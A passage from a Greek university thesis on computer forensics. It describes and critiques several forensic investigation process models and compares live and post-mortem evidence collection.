Περιλαμβάνει ακόμη την φανέρωση κρυφών ή αλλοιωμένων πληροφοριών αλλά και του σχετικού 
υλικού τεκμηρίωσης γύρω από αυτά.
Ανάλυση, είναι η φάση στην οποία γίνεται έλεγχος των παραγόμενων συμπερασμάτων 
/πληροφοριών/στοιχείων που προέρχονται από την προηγούμενη φάση, έτσι ώστε να αξιολογηθούν 
κατάλληλα. Από την αξιολόγηση αυτή κρίνεται αν τα στοιχεία που έχουν ανακτηθεί είναι αρκετά 
ώστε να επιτευχθεί ο εκάστοτε στόχος σύμφωνα με τον οποίο ξεκίνησε η έρευνα ή εάν η έρευνα 
πρέπει να συνεχιστεί σε μεγαλύτερο βάθος.
Αναφορά, είναι η φάση που περιλαμβάνει την συγγραφή μίας επίσημης αναφοράς που να 
σκιαγραφεί ολόκληρη την πορεία της έρευνας, άλλα και παρουσίαση όλων των δεδομένων που 
ανακτήθηκαν από την συνολική διαδικασία.
Σχολιασμός του Μοντέλου
To Forensics Process Model παρόλο που υποστηρίζει και τα τρία βασικά στοιχεία μία έρευνας 
Forensic, λόγω της αρκετά γενικευμένης θεώρησης της φάσης της Ανάλυσης, αποτυγχάνει να 
φτάσει σε ασφαλή συμπεράσματα σε όλες τις περιπτώσεις παρερμηνεύοντας κάποια δεδομένα ή 
ελλείψει άλλων.[18]
Πιο συγκεκριμένα δεν γίνεται αρκετά καλός διαχωρισμός στην φάση της Ανάλυσης, σχετικά με το 
πώς αξιολογούνται τα δεδομένα τα οποία εισέρχονται από την προηγούμενη φάση της Εξέτασης, με 
αποτέλεσμα να γίνεται κακή διαχείριση τους και να τελικά να μην είναι ξεκάθαρο σε πια φάση 
βρισκόμαστε και σε τί συμπέρασμα καταλήγουμε.
ΕΝΟΤΗΤΑ 2.3 - ABSTRACT DIGITAL FORENSICS MODEL
To Abstract Digital Forensics μοντέλο προτείνει μια αυστηρά καθορισμένη διαδικασία που 
περιλαμβάνει εννιά υποκατηγορίες:
Ι.Εξακρίβωση:
Ανάλογα με τις ενδείξεις που υπάρχουν, αποφασίζεται τι είδους είναι το περιστατικό που μελετάται.
2.Προετοιμασία:
Περιλαμβάνει την προετοιμασία των εργαλείων, των τεχνικών, των ενταλμάτων έρευνας, της 
παρατήρησης και έλεγχου των εξουσιοδοτήσεων, αλλά και την οργάνωση της τεχνικής υποστήριξης.
3.Στρατηγική έρευνας:
Αναπτύσσει την κατάλληλη διαδικασία βάσει της οποίας η έρευνα θα οδηγηθεί σε εύρεση του
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μέγιστου αριθμού στοιχείων στον ελάχιστο δυνατό χρόνο, μειώνοντας ταυτόχρονα και την ζημία του 
θύματος.
4. Διατήρηση:
Περιλαμβάνει την απομόνωση, την διασφάλιση και την διατήρηση της κατάστασης στην οποία 
εντοπίστηκαν τόσο τα φυσικά όσο και τα ψηφιακά δεδομένα.
5. Συλλογή:
Περιλαμβάνει την καταγραφή της φυσικής σκηνής του υπό έρευνα γεγονότος , αλλά και αντιγραφή 
όλων των ψηφιακών μέσων και στοιχείων, σύμφωνα πάντα με γενικά αποδεκτές και πλήρως 
καθορισμένες διαδικασίες.
ό.Εξέταση:
Περιλαμβάνει την σε βάθος, συστηματική ερευνά για δεδομένα που να έχουν άμεση σχέση με το 
“έγκλημα”/περιστατικό που ερευνάται.
7. Ανάλυση:
Έχει ως βασικό σκοπό τον καθορισμό της σημασίας κάθε δεδομένου ή στοιχείου που εντοπίστηκε, 
την ανακατασκευή κατακερματισμένων δεδομένων αλλά και την εξαγωγή συμπερασμάτων 
βασισμένων στα στοιχεία που ανακτήθηκαν.
δ.Παρουσίαση:
Περιλαμβάνει την περίληψη αλλά και την επεξήγηση των συμπερασμάτων της έρευνας που 
διενεργήθηκε.
9·Επιστροφή των Στοιχείων:
Διασφαλίζει την επιστροφή τόσο των φυσικών όσο και των ψηφιακών στοιχείων στον νόμιμο 
κάτοχό τους.
Σχολιασμός του Μοντέλου
Το συγκεκριμένο μοντέλο αποτελεί μία αρκετά ολοκληρωμένη προσέγγιση της διαδικασίας Forensic 
Investigation καθώς περιλαμβάνει όλα εκείνα τα βασικά στοιχεία στα οποία πρέπει να δοθεί μεγάλη 
προσοχή. [18]
Βελτιώσεις που θα μπορούσαν να γίνουν σε αυτό το μοντέλο αφορούν κυρίως την τρίτη φάση της 
Στρατηγική έρευνας, η οποία κατά ένα μεγάλο μέρος της αλληλεπικαλύπτεται από την δεύτερη 
φάση της Προετοιμασίας με τον τρόπο που έχει ορισθεί. Αυτό οφείλεται πιο συγκεκριμένα στο 
γεγονός ότι για να μπορούμε να προετοιμαστούμε κατάλληλα για μία είδους έρευνα πρέπει να έχει 
αξιολογηθεί και αποφασιστεί η Στρατηγική της έρευνας αυτής κάτι το οποίο δεν είναι εφικτό, 
λόγω της χρονολογικής σειράς των προαναφερθέντων φάσεων.
ΕΝΟΤΗΤΑ 2.4 - INTEGRATED DIGITAL INVESTIGATION MODEL
Οι Brian Carrier και Eugene Spafford [15] πρότειναν ένα βελτιωμένο μοντέλο στο οποίο 
θεωρείται ότι ο υπολογιστής είναι από μόνος του μια σκηνή εγκλήματος που ονομάζεται «digital 
crime-scene» πάνω στον οποίο μπορούν να εφαρμοστούν τεχνικές διερεύνησης.
Δεδομένης αυτής της θεώρησης διαχωρίζονται οι παρακάτω έννοιες με τους ακόλουθους ορισμούς 
τους:
Physical Evidence : Αποτελούν τα φυσικά αντικείμενα που καταδεικνύουν ένα έγκλημα και 
συνδέουν ένα θύμα με ένα έγκλημα ή ένα έγκλημα με έναν θύτη.
Αποτελούνται από τον ίδιο τον υπολογιστή, σκληρούς δίσκους, PDA,CD-ROM κ.α.
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• Digital Evidence : Αποτελούν τα ηλεκτρονικά δεδομένα που επαληθεύουν την προηγούμενη 
σχέση μεταξύ θύτη, θύματος και εγκλήματος. Είναι τα δεδομένα που βρίσκονται στην μνήμη 
του υπολογιστή, στον σκληρό δίσκο, σε ένα κινητό τηλέφωνο κ.α.
• Physical Crime Scene : Αποτελεί το φυσικό περιβάλλον όπου τα physical evidence (όπως 
ορίστηκαν ανωτέρω) βρίσκονται .Το περιβάλλον στο οποίο έγινε η εγκληματική πράξη 
ορίζεται σαν η πρωτεύουσα «physical crime-scene» ενώ οι σχετιζόμενοι υποχώροι 
ονομάζονται δευτερεύουσες «physical crime-scenes».
• Digital Crime Scene : Αποτελεί το εικονικό περιβάλλον που δημιουργήθηκε από υλικό και 
λογισμικό, όπου τα digital evidence (όπως ορίστηκαν ανωτέρω)
βρίσκονται .Το περιβάλλον στο οποίο έγινε η εγκληματική πράξη ορίζεται σαν η 
πρωτεύουσα «digital crime-scene» ενώ οι σχετιζόμενοι υποχώροι ονομάζονται 
δευτερεύουσες «digital crime-scenes».
Το μοντέλο προσεγγίζει τόσο περιπτώσεις εγκληματικής ενέργειας/διερεύνησης όσο και 
επιχειρησιακών περιστατικών, γι αυτό και οι λέξεις «περιστατικό» και «crime-scene» 
χρησιμοποιούνται με την ευρύτερη έννοια του όρου.
Ένα «περιστατικό» δηλαδή θεωρείται οτιδήποτε μπορεί να αποτελέσει αφορμή για την παρέμβαση 
μιας ομάδας δράσης και συλλογής ηλεκτρονικών στοιχείων .Αυτό είναι κάτι που υιοθετείται και από 
το παρόν κείμενο Έτσι λέγοντας ή ορίζοντας δράσεις και διεργασίες κατά τις οποίες 
χρησιμοποιούνται οι όροι, δεν λαμβάνεται υπόψη η αυστηρή βιβλιογραφική τους έννοια αλλά μια 
πιο αφαιρετική, η οποία βοηθάει στην περιγραφή των κείμενων και την αποσαφήνιση του πεδίου του 
Computer Forensics.
Το μοντέλο λοιπόν αυτό οργανώνει τις διαδικασίες του Digital Forensics σε πέντε ξεχωριστές 
ομάδες που αποτελούνται από δεκαεπτά φάσεις.
Integrated Digital Investigation Model
Ετοιμότητα ► Κλιμάκωση ------ ► Διερεύνηση Physical 
Crime-Scene
Διερεύνηση Digital 
Crime-Scene
> Ανασκόπηση
Εικόνα2.1
Οι ομάδες που ορίζονται είναι:
1 .Ετοιμότητα
2. Κλιμάκωση
3. Διερεύνηση Physical Crime-Scene
4. Διερεύνηση Digital Crime-Scene
5. Ανασκόπηση
1.Ετοιμότητα
Οι φάσεις που περιλαμβάνονται στην ομάδα της ετοιμότητας (Readiness) έχουν σαν στόχο να 
πιστοποιήσουν ότι οι διαδικασίες και η υποδομή είναι ικανά να υποστηρίξουν την έρευνα στο 
σύνολο της.
Η συγκεκριμένη ομάδα περιλαμβάνει ξεχωριστή φάση που αναφέρεται στις διαδικασίες (Operations
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Readiness Phase) και ξεχωριστή φάση που αναφέρεται στην υποδομή (Infrastructure Readiness 
Phase), με αυτή την σειρά.
• Η πρώτη από τις δύο προβλέπει την κατάλληλη εκπαίδευση και εξοπλισμό στα άτομα που θα 
ασχοληθούν με την διερευνητική διαδικασία, την αναβάθμιση και καταλληλότητα του 
λογισμικού και του υλικού που θα χρησιμοποιηθούν και την ετοιμότητα του εργαστηριακού 
εξοπλισμού για την περαιτέρω ανάλυση των ευρημάτων που θα προσκομισθούν.
• Η δεύτερη φάση διασφαλίζει ότι τα δεδομένα που θα πρέπει να αναλυθούν υπάρχουν και θα 
υπάρχουν σε φυσικό επίπεδο .Η φάση αυτή περιλαμβάνει μεταξύ άλλων και την τοποθέτηση 
καμερών ή και υλικού αναγνώρισης του εισερχομένου προσωπικού (card readers) στο 
δωμάτιο ή στα δωμάτια στα οποία θα γίνει η συλλογή των στοιχείων.
2. Κλιμάκωση
Η ομάδα της Κλιμάκωσης (Deployment) της διερευνητικής διαδικασίας πιστοποιεί την αναγνώριση 
και εξακρίβωση ενός περιστατικού και διαμορφώνεται διαφορετικά, περιλαμβάνοντας κατάλληλες 
φάσεις, ανάλογα με την φύση του. Υπάρχουν δύο φάσεις και σε αυτή την κατηγορία.
• Κατά την πρώτη (Detection and Notification Phase):
Εντοπίζεται το περιστατικό, ενώ ειδοποιούνται τα κατάλληλα για την διαδικασία, άτομα .Ο 
εντοπισμός μπορεί να προέρχεται από ποικίλα μέσα όπως για παράδειγμα ένα τηλεφώνημα 
καταγγελίας, ή ένα Intrusion Detection System. Με αυτή την φάση καθορίζεται και η έναρξη του 
περιστατικού όπως έχει οριστεί παραπάνω.
• Η δεύτερη φάση (Confirmation and Authorization Phase) ανά περίπτωση:
Περιλαμβάνει την προσπάθεια απόκτησης εξουσιοδότησης για την έρευνα. Διαφοροποιείται για 
περιπτώσεις επιβολής του νόμου σε σχέση με επιχειρησιακά περιστατικά. Στην πρώτη περίπτωση 
απαιτείται ένταλμα έρευνας, ενώ στην δεύτερη περίπτωση αρκεί να μην παραβιάζονται πολιτικές 
προστασίας δικαιωμάτων όπως έχουν θεσμοθετηθεί από την εταιρεία και τους εσωτερικούς 
κανονισμούς της.
3. Διερεύνηση Physical Crime-Scene
Η ομάδα Διερεύνησης Physical Crime-Scene έχει ως στόχο την συλλογή και ανάλυση των φυσικών 
στοιχείων (Physical Evidence) με σκοπό να εξαχθούν συμπεράσματα για την χρονολογική σειρά των 
δράσεων που έλαβαν χώρα ώστε να ανακατασκευαστεί η αλληλουχία τους, που κατέληξε στο 
περιστατικό. Η ομάδα αυτή είναι ορισμένη μέσα από την βιβλιογραφία για τις παρόμοιες υποθέσεις 
έρευνας μη ηλεκτρονικού τύπου αλλά στο μοντέλο που μελετάται έχουν παρουσιαστεί μόνο όσες 
μπορούν να συσχετιστούν με τις υποθέσεις ηλεκτρονικού εγκλήματος.
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Διερεύνηση Physical Crime-Scene
Εικόνα2.2
Οι φάσεις αναφέρονται:
1. Αρχικά στη «διατήρηση του σκηνικού του περιστατικού» (Preservation Phase),διαδικασία η 
οποία είναι όμοια με αντίστοιχη μη-ηλεκτρονικού περιστατικού. Σε αύτη διατηρούμε την 
σκηνή «καθαρή» ώστε σε επόμενη φάση να μπορεί να γίνει συλλογή των στοιχείων χωρίς 
αυτά να έχουν αλλοιωθεί.
2. Ακολουθεί η φάση της «επιθεώρησης» (Survey Phase), η οποία συντελεί στην διατύπωση 
μιας αρχικής θεωρίας για το περιστατικό, συνήθως περιλαμβάνει μια περιήγηση στα δωμάτια 
που μπορεί να υπάρχουν στοιχεία που σχετίζονται με το περιστατικό, εντοπίζονται PDA και 
άλλες ηλεκτρονικές συσκευές που πιθανόν να χρησιμοποιούσε ο ύποπτος, κομμάτια χαρτιού 
με κωδικούς πρόσβασης και άλλες σημειώσεις, δωμάτια με servers, καταγράφεται το τοπικό 
δίκτυο γενικότερα και οι υπολογιστές και η φυσική τους διασύνδεση κ.α.
3. Στη συνέχεια υλοποιείται η φάση της «τεκμηρίωσης φυσικού χώρου» η οποία σε αντιστοιχία 
με τη διαδικασία κατά τα μη-ηλεκτρονικά περιστατικά, περιλαμβάνει φωτογραφίσεις του 
χώρου, βίντεο και σκίτσα και επιπροσθέτως καταγραφή και φωτογράφηση των συνδέσεων 
στον υπολογιστή καθώς και πλήρη καταγραφή της κατάστασης στην οποία βρίσκονται τα 
μηχανήματα (π.χ. το πλήθος και το μέγεθος των σκληρών δίσκων, το μέγεθος της μνήμης 
κλπ).
4. Η επόμενη φάση είναι αυτή της «Αναζήτησης και συλλογής» ( Search and collection), η 
οποία περιλαμβάνει την σε βάθος αναζήτηση και συλλογή από την σκηνή του περιστατικού 
όσο το δυνατόν περισσότερων φυσικών στοιχείων τα οποία θα μπορούσαν να βοηθήσουν 
στην ηλεκτρονική διαλεύκανση της υπόθεσης.
5. Στην αμέσως επόμενη φάση της «ανακατασκευής» (Reconstruction) γίνεται οργάνωση και 
ομαδοποίηση των αποτελεσμάτων ύστερα από την ανάλυση τους έτσι ώστε αυτά να 
χρησιμοποιηθούν κατάλληλα για την δημιουργία μίας θεωρίας σχετικά με το γεγονός.
6. Τέλος η φάση της «παρουσίασης» (Presentation) έχει ως σκοπό την παρουσίαση των 
φυσικών και ψηφιακών στοιχείων στο δικαστήριο ή στην διοίκηση της εταιρείας που ζήτησε 
την έρευνα.
4.Διερεύνηση Digital Crime-Scene
Η ομάδα Διερεύνησης Digital Crime-Scene έχει ως στόχο την συλλογή και ανάλυση των ψηφιακών 
στοιχείων (Digital Evidence) με σκοπό να εξαχθούν συμπεράσματα για την χρονική σειρά των 
ηλεκτρονικών δραστηριοτήτων που έλαβαν χώρα ώστε να ανακατασκευαστεί η αλληλουχία τους 
που κατέληξε στο περιστατικό.
16
Institutional Repository - Library & Information Centre - University of Thessaly
08/12/2017 09:57:48 EET - 137.108.70.7
Διερεύνηση Digital Crime-Scene
Εικόνα2.3
Οι φάσεις από τις οποίες διέρχεται η παραπάνω διερεύνηση αναφέρονται παρακάτω:
1. Πρώτον στη «διατήρηση του σκηνικού του περιστατικού» (Preservation Phase), στην οποία 
διατηρούμε την ηλεκτρονική σκηνή του συμβάντος ανεπηρέαστη από εξωτερικούς 
παράγοντες ώστε σε επόμενη φάση να μπορεί να γίνει συλλογή και ανάλυση των στοιχείων 
χωρίς αυτά να έχουν αλλοιωθεί.
2. Ακολουθεί η φάση της «επιθεώρησης» (Survey Phase), στην οποία όλα τα συσχετιζόμενα με 
την έρευνα δεδομένα, μεταφέρονται σε ελεγχόμενο χώρο για κατάλληλη επεξεργασία.
3. Στη συνέχεια υλοποιείται η φάση της «τεκμηρίωσης φυσικού χώρου» κατά την οποία γίνεται 
πλήρης καταγραφή των ψηφιακών στοιχείων όταν αυτά εντοπιστούν (print screen). Η 
καταγραφή αυτή είναι πολύ χρήσιμη κατά την φάση της «παρουσίασης» (Presentation).
4. Η επόμενη φάση είναι αυτή της «Αναζήτησης και συλλογής» ( Search and collection), η 
οποία περιλαμβάνει την σε βάθος ανάλυση των ψηφιακών στοιχείων .Ειδικό λογισμικό 
χρησιμοποιείται για την φανέρωση κρυφών, διαγραμμένων, swapped αρχείων ή αρχείων με 
βλάβη που είχαν χρησιμοποιηθεί, ενώ παράλληλα δίνονται στοιχεία όπως ημερομηνίες, 
διάρκεια χρήσης κτλ.
Γίνεται επίσης μία χαμηλού επιπέδου χρονολογική καταγραφή για τον εντοπισμό 
δραστηριότητας και ταυτότητας του κάθε χρήστη.
5. Στην αμέσως επόμενη φάση της «ανακατασκευής» (Reconstruction) γίνεται οργάνωση και 
ομαδοποίηση των ψηφιακών αποτελεσμάτων ύστερα από την ανάλυση τους, έτσι ώστε αυτά 
να χρησιμοποιηθούν κατάλληλα για την δημιουργία μίας υπόθεσης σχετικά με την αιτία 
πρόκλησης του γεγονότος.
6. Τέλος η φάση της «παρουσίασης» (Presentation) έχει ως σκοπό την παρουσίαση των 
ψηφιακών στοιχείων στην ομάδα Διερεύνησης Physical Crime-Scene.
5.Ανασκόπηση
Περιλαμβάνει μία γενική αλλά ταυτόχρονα συνολική ανασκόπηση της έρευνας, εντοπίζοντας σημεία 
στα οποία θα μπορούσε να υπάρξει βελτίωση της απόδοσης .Τονίζονται όλα εκείνα τα στοιχεία και 
γεγονότα τα οποία αναδομήθηκαν με σκοπό την επίτευξη του στόχου της έρευνας έτσι ώστε σε 
παρόμοιες υποθέσεις να χρησιμοποιηθεί η ήδη υπάρχουσα γνώση.
Παρόλα αυτά το συγκεκριμένο μοντέλο αν και αρκετά αξιόπιστο σε θεωρητικό επίπεδο, στην πράξη 
περιλαμβάνει κάποιες άστοχες γενικεύσεις.
Για παράδειγμα στην φάση της Κλιμάκωσης είναι αρκετά δύσκολο να ξεκαθαρίσει κανείς σε
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αρκετές περιπτώσεις εάν πρόκειται για ηλεκτρονικό έγκλημα εάν δεν γίνει πρώτα μία φυσική ή 
ψηφιακή έρευνα, βήμα που περιλαμβάνεται όμως σε επόμενη φάση.[18]
Δεν υπάρχει επίσης ξεκάθαρη πρακτική σχετικά με την εξέταση του χώρου του θύματος (secondary 
crime scene) και του χώρου του θύτη (primary crime scene), οι οποίοι πολλές φορές σε ηλεκτρονικά 
εγκλήματα είναι ο ίδιος ηλεκτρονικός υπολογιστής.
ΕΝΟΤΗΤΑ 2.5 - ΚΑΤΗΓΟΡΙΕΣ INCIDENT RESPONSE
Έχοντας δώσει τον ορισμό του Incident Response μπορούμε να ξεχωρίσουμε δυο βασικές 
κατηγορίες οι οποίες αφορούν την απόφαση σχετικά με το πως θα γίνει ο χειρισμός της κατάστασης. 
Η μια λέγεται Live Forensics Response και αφορά την κατάσταση κατά την οποία το ή τα 
μηχανήματα που θεωρείται ότι πήραν μέρος στο περιστατικό, βρίσκονται εν λειτουργία και η 
δεύτερη λέγεται Incident Post Mortem και αφορά την περίπτωση εκείνη κατά την οποία τα 
μηχανήματα βρίσκονται έκτος λειτουργίας .Είναι σημαντικός ο διαχωρισμός των δυο περιπτώσεων, 
εξαιτίας του φυσικού τρόπου λειτουργίας των πληροφοριακών συστημάτων, το οποίο συνεπάγεται 
ότι το πως κατανέμονται τα στοιχεία (evidence) σε ένα σύστημα διαφέρει, άρα διαφέρει και ο 
χειρισμός που πρέπει ακολουθηθεί.
Οι δυο αυτές κατηγορίες αναφέρονται στην φάση της απόκτησης, συλλογής και ανάλυσης [29] των 
στοιχείων όπως αυτές περιγράφονται, ίσως με μικρές διαφοροποιήσεις, στα παραπάνω μοντέλα. 
Στην πραγματικότητα όταν το σύστημα είναι ενεργό, τότε εκτελούνται και οι δύο διαδικασίες, 
πρώτα η Live Forensics Response και μετά η Incident Post Mortem. Η διαφορά είναι ότι όταν το 
σύστημα είναι σε λειτουργία ποτέ δεν το απενεργοποιούμε πριν εκτελέσουμε τις κατάλληλες 
διαδικασίες, ενώ όταν είναι απενεργοποιημένο, δεν το ανοίγουμε αν δεν εξασφαλίσουμε τρόπους 
που διατηρούν την ακεραιότητα των στοιχείων. [23]
ΥΠΟΕΝΟΤΗΤΑ 2.5.1 - LIVE FORENSICS
Live Forensics Response : Είναι η συλλογή στοιχείων από ένα μηχάνημα το οποίο βρίσκεται σε 
λειτουργία. Τα στοιχεία που συλλέγονται σε αυτή την διαδικασία χωρίζονται σε ευμετάβλητα 
(volatile) και μη - ευμετάβλητα (non-volatile)
Volatile : Είναι τα στοιχεία που μπορεί να εξαφανιστούν «σύντομα», όπως τα στοιχεία που 
υπάρχουν στους Registers (καταχωρητές), στην Cache, στην RAM, η ίδια η κατάσταση του δικτύου 
και οι διεργασίες που εκτελούνται εκείνη την στιγμή.
Non-Volatile : Είναι τα στοιχεία που μπορούμε να ανακτήσουμε και αργότερα κατά την ανάλυση, 
άλλα κάλο θα ήταν να αποκτηθούν από το Live Forensics Response, καθώς η διαδικασία 
ανάκτησης τους γίνεται πολύ πιο σύνθετη στην περίπτωση Incident Post Mortem.Για παράδειγμα 
θα μπορούσαν να ανακτηθούν τα event logs αργότερα, αλλά η raw binary μορφή τους θα έκανε την 
διαδικασία πολύ πιο επίπονη.Νοη-volatile θεωρούνται, όπως αναφέρθηκαν τα event logs, τα 
MAC δεδομένα για αρχεία, τα alternate data streams (ADS), συνηθισμένα αρχεία ή δεδομένα που 
παρουσιάζουν ενδιαφέρον, αντίγραφο της Registry κα.
Κατά το Live Forensics Response δίνεται η μέγιστη προτεραιότητα στο να καταγράφει και να 
στοιχειοθετηθεί οτιδήποτε αποτελεί volatile στοιχείο, ενώ γίνεται προσπάθεια να αποκτηθούν και 
όσο το δυνατόν περισσότερα non-volatile στοιχεία χωρίς να επηρεαστεί η κατάσταση του 
συστήματος.
Αυτός ο τρόπος συλλογής στοιχείων έχει κάποια μειονεκτήματα και κάποια πλεονεκτήματα.
Πλεονεκτήματα : Πολλά στοιχεία μπορεί να βρίσκονται σε μέρη του υπολογιστικού συστήματος 
που όταν τίθενται έκτος λειτουργίας καταστρέφονται, ένα τυπικό παράδειγμα είναι η μνήμη RAM. 
Από την μνήμη RAM ανακτώνται πολλές πληροφορίες όπως passwords, τα περιεχόμενα του
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clipboard ή sessions από προγράμματα ανταλλαγής μηνυμάτων κλπ. Δεν υπάρχει τρόπος να 
ανακατασκευαστούν αυτά τα δεδομένα από την στιγμή που θα κλείσει το σύστημα, 
συμπεριλαμβανομένων και πληροφοριών όπως η ώρα και μέρα του συστήματος, ή το ποιες 
συνδέσεις και σε ποιες πόρτες (ports) είναι αυτή την στιγμή ανοιχτές .Η ανακάλυψη και επαναφορά 
δεδομένων που ήταν στην RAM είναι πιθανή αλλά σε πολύ ειδικές περιπτώσεις, ενώ δεν είναι 
εξασφαλισμένη και θα συζητηθεί σε επόμενο κεφάλαιο. Επίσης η ανάκτηση του Page File δίνει την 
δυνατότητα της σύγκρισης του με την RAM και την εξαγωγή του συμπεράσματος για το αν 
περιέχουν τις ίδιες πληροφορίες .Γενικά τα συμπεράσματα που βγαίνουν από τον συνδυασμό των 
volatile με non volatile στοιχείων αποτελούν μια καλή βάση για την εκκίνηση των υποθέσεων του 
Investigator ώστε να αποφασίσει σε ποιο βαθμό έχει εξελιχθεί ένα συμβάν (Incident) και να 
εκτιμήσει ποια είναι τα ορθότερα μέτρα για την αντιμετώπισή/διερεύνησή του.
Μειονεκτήματα : Όλες οι ενέργειες που γίνονται κατά τη διάρκεια μιας ερευνητικής διαδικασίας, 
όπως έχει συζητηθεί και προηγουμένως πρέπει να γίνονται με σεβασμό της αρχής της διατήρησης 
των στοιχείων και του σκηνικού του συμβάντος που χρήζει έρευνας .Η διαδικασία του Live 
Forensics δεν ανταποκρίνεται με τον καλύτερο τρόπο σε αυτή την αρχή, καθώς επηρεάζει πολλές 
φορές το υπό εξέταση υπολογιστικό σύστημα[28] .Για παράδειγμα τα εργαλεία ή οι εντολές που θα 
χρησιμοποιηθούν για να αποκτηθούν τα περιεχόμενα της RAM είναι φυσικό ότι θα την αλλάξουν σε 
ένα μικρό βαθμό, καθώς αυτά τα εργαλεία θα φορτωθούν στην μνήμη κατά την εκτέλεση τους. Άρα 
όταν μιλάμε για Live Forensics Response δεν μπορούμε να έχουμε τα πλεονεκτήματα χωρίς κάποια 
μειονεκτήματα .Τα εργαλεία που θα χρησιμοποιηθούν θα πρέπει να είναι εγκεκριμένα από την 
κοινότητα του Forensics και να έχει αποδειχθεί ότι δεν αλλοιώνουν τα δεδομένα του συστήματος και 
τα στοιχεία που αυτό περιέχει και θα πρέπει αυτό να αποδειχτεί με όλους τους δυνατούς τρόπους 
όταν όλα τα δεδομένα και η διαδικασία που ακολουθήθηκε τεθούν ενώπιον δικαστικής αρχής.
Επίσης ο καλύτερος τρόπος για να διατηρηθεί όσο το δυνατόν μεγαλύτερη πληροφορία σε ένα 
σύστημα από την στιγμή που θα αποφασιστεί ότι έχουν αποκτηθεί όσο το δυνατόν περισσότερα 
στοιχεία και πρέπει να τεθεί έκτος λειτουργίας, είναι η διαδικασία αυτή να γίνει μέσω της αφαίρεσης 
της ηλεκτροδότησης του συστήματος και όχι της τυπικής διαδικασίας σβησίματος που υποστηρίζουν 
τα περισσότερα λειτουργικά συστήματα [30].
Τέλος ένα ακόμα μεγάλο μειονέκτημα που έχει το Live Forensics Response είναι ότι σε περίπτωση 
που το σύστημα που μελετάται έχει μολυνθεί από ιούς ή κώδικα (λογισμικό) που μπορεί να 
επηρεάζει και να αλλοιώνει τα δεδομένα, τότε μπορεί να έχουν διαγράφει πληροφορίες και στοιχεία 
που ενοχοποιούν τον χρήστη και να επηρεάζουν την διαδικασία του Forensics. Ο τρόπος 
αντιμετώπισης αυτού του προβλήματος ως ένα βαθμό είναι η χρήση εργαλείων ανάλυσης τα οποία 
τρέχουν (εκτελούνται) από Read-Only μέσα εκτέλεσης, όπως τα CD-ROM ή προστατευμένες 
δισκέτες κάτι που εξασφαλίζει ότι άλλου είδους λογισμικό δεν έχει ενεργοποιηθεί κατά τη διάρκεια 
της εξέτασης, άρα δεν μπορεί να προκαλέσει τέτοια προβλήματα.
ΥΠΟΕΝΟΤΗΤΑ 2.5.2 - POST MORTEM FORENSICS
Incident Post Mortem: Πρόκειται για τη συλλογή στοιχείων από ένα μηχάνημα το οποίο βρίσκεται 
έκτος λειτουργίας[34]. Η κατηγορία αυτή εντάσσεται στο πλαίσιο της εξέτασης των δεδομένων 
αφού αυτά περάσουν από το στάδιο της αναζήτησης και συλλογής.
Υπάρχουν κάποιες ενέργειες που πρέπει να γίνουν πρώτα για να μπορέσει αυτή η φάση να αποδώσει 
καρπούς και να εξασφαλισθεί η ακεραιότητα των δεδομένων.
Είναι πιο ασφαλές και πιο σωστό υπό το οπτικό πρίσμα της επιστήμης του Forensics τα δεδομένα 
από όλα τα συστήματα να αναλύονται σε ένα εργαστήριο ώστε να βγουν τα κατάλληλα 
συμπεράσματα, κατά την ανάλυση, που θα συνδέσουν το θύμα (εταιρία ή ιδιώτη) με τον ένοχο και 
το έγκλημα ή την παράκαμψη της πολιτικής ασφαλείας μιας επιχείρησης. Για να γίνει αυτό θα 
πρέπει τα στοιχεία να αντιγραφούν bit προς bit δημιουργώντας ακριβές αντίγραφο (image)[31] όλων 
των αποθηκευτικών μέσων κάτι που εξασφαλίζει ότι όλα τα δεδομένα του αποθηκευτικού μέσου 
έχουν αντιγράφει επακριβώς σε καινούριο μέσο το οποίο έχει πρώτα τεχνικά «αποστειρωθεί» .Η
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αποστείρωση περιλαμβάνει τον επιστημονικό τρόπο με τον οποίο κάνουμε ένα μέσο «καθαρό» από 
κάθε είδους δεδομένα τα οποία θα μπορούσαν να τροποποιήσουν τα νέα δεδομένα που 
φιλοξενούνται σε αυτό,ή από υπολείμματα παλαιότερων δεδομένων.[32]
Πλεονεκτήματα : Η επιρροή της απόκτησης των δεδομένων πάνω στο σύστημα που θα διερευνηθεί 
είναι ανύπαρκτη. Τα αποθηκευτικά μέσα υποβάλλονται στην διαδικασία του imaging ενώ το 
υπολογιστικό σύστημα είναι κλειστό. Η μελέτη των δεδομένων περιλαμβάνει περιοχές που θα ήταν 
αδύνατο να ερευνηθούν σε ένα ενεργό σύστημα υπό την προστασία του λειτουργικού του 
συστήματος. Τα στοιχεία δηλαδή που αποκτώνται, με τις διαδικασίες που περιγράφονται στο 
επόμενο κεφάλαιο, είναι πολύ περισσότερα και τα συμπεράσματα πολύ πιο ασφαλή, κάτι που κάνει 
την διαδικασία της ανάλυσης και εξακρίβωσης του περιστατικού πολύ πιο συνεπή για την επιστήμη 
του Computer Forensics.
Η διαδικασία του imaging περιλαμβάνει τρόπους όπως το hash-copy-hash οι οποίοι αποδεικνύουν με 
αδιαμφισβήτητο τρόπο ότι τα δεδομένα δεν επηρεάστηκαν ούτε μορφοποιήθηκαν. Η διαδικασία 
αυτή περιλαμβάνει την χρήση ηλεκτρονικών υπογραφών (Hashes) στον αρχικό τόμο και στο τελικό 
μετά την bit προς bit αντιγραφή του (image), για να αποδειχθεί ότι κανένα δεδομένο δεν 
τροποποιήθηκε.
Επίσης είναι πολύ πιο ασφαλής η διαδικασία αυτή από πλευράς επιρροής ιομορφικού λογισμικού 
(κάτι που δεν ισχύει στο Live Forensics Response) αφού η ανάλυση γίνεται σε ένα «νεκρό» σύστημα 
στο οποίο απλώς εξάγονται τα δεδομένα με συγκεκριμένες τεχνικές σε χαμηλό επίπεδο και δεν είναι 
ενεργές πιθανώς μολυσμένες διεργασίες.
Μειονεκτήματα : Τα μειονεκτήματα αυτής της μεθόδου είναι κυρίως η έλλειψη των 
πλεονεκτημάτων του Live Forensics Response.Δηλαδή το γεγονός ότι από την στιγμή που θα τεθεί 
εκτός λειτουργίας ένα σύστημα χάνονται δεδομένα τα οποία συμβαίνουν εκείνη την στιγμή, όπως 
διεργασίες που τρέχουν, χρήστες οι οποίοι είναι ενεργοί μέσα στο σύστημα τη στιγμή του 
περιστατικού, αρχικοποιημένες συνδέσεις και συγκεκριμένη δικτυακή κίνηση.
Λέξεις Κλειδιά:
Computer Forensics, Crime Scene Investigation, Forensic Process model, Abstract Digital 
Forensic Model, Integrated Digital Investigation Model, Live Forensics, Post Mortem 
Forensics
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ΚΕΦΑΛΑΙΟ 3
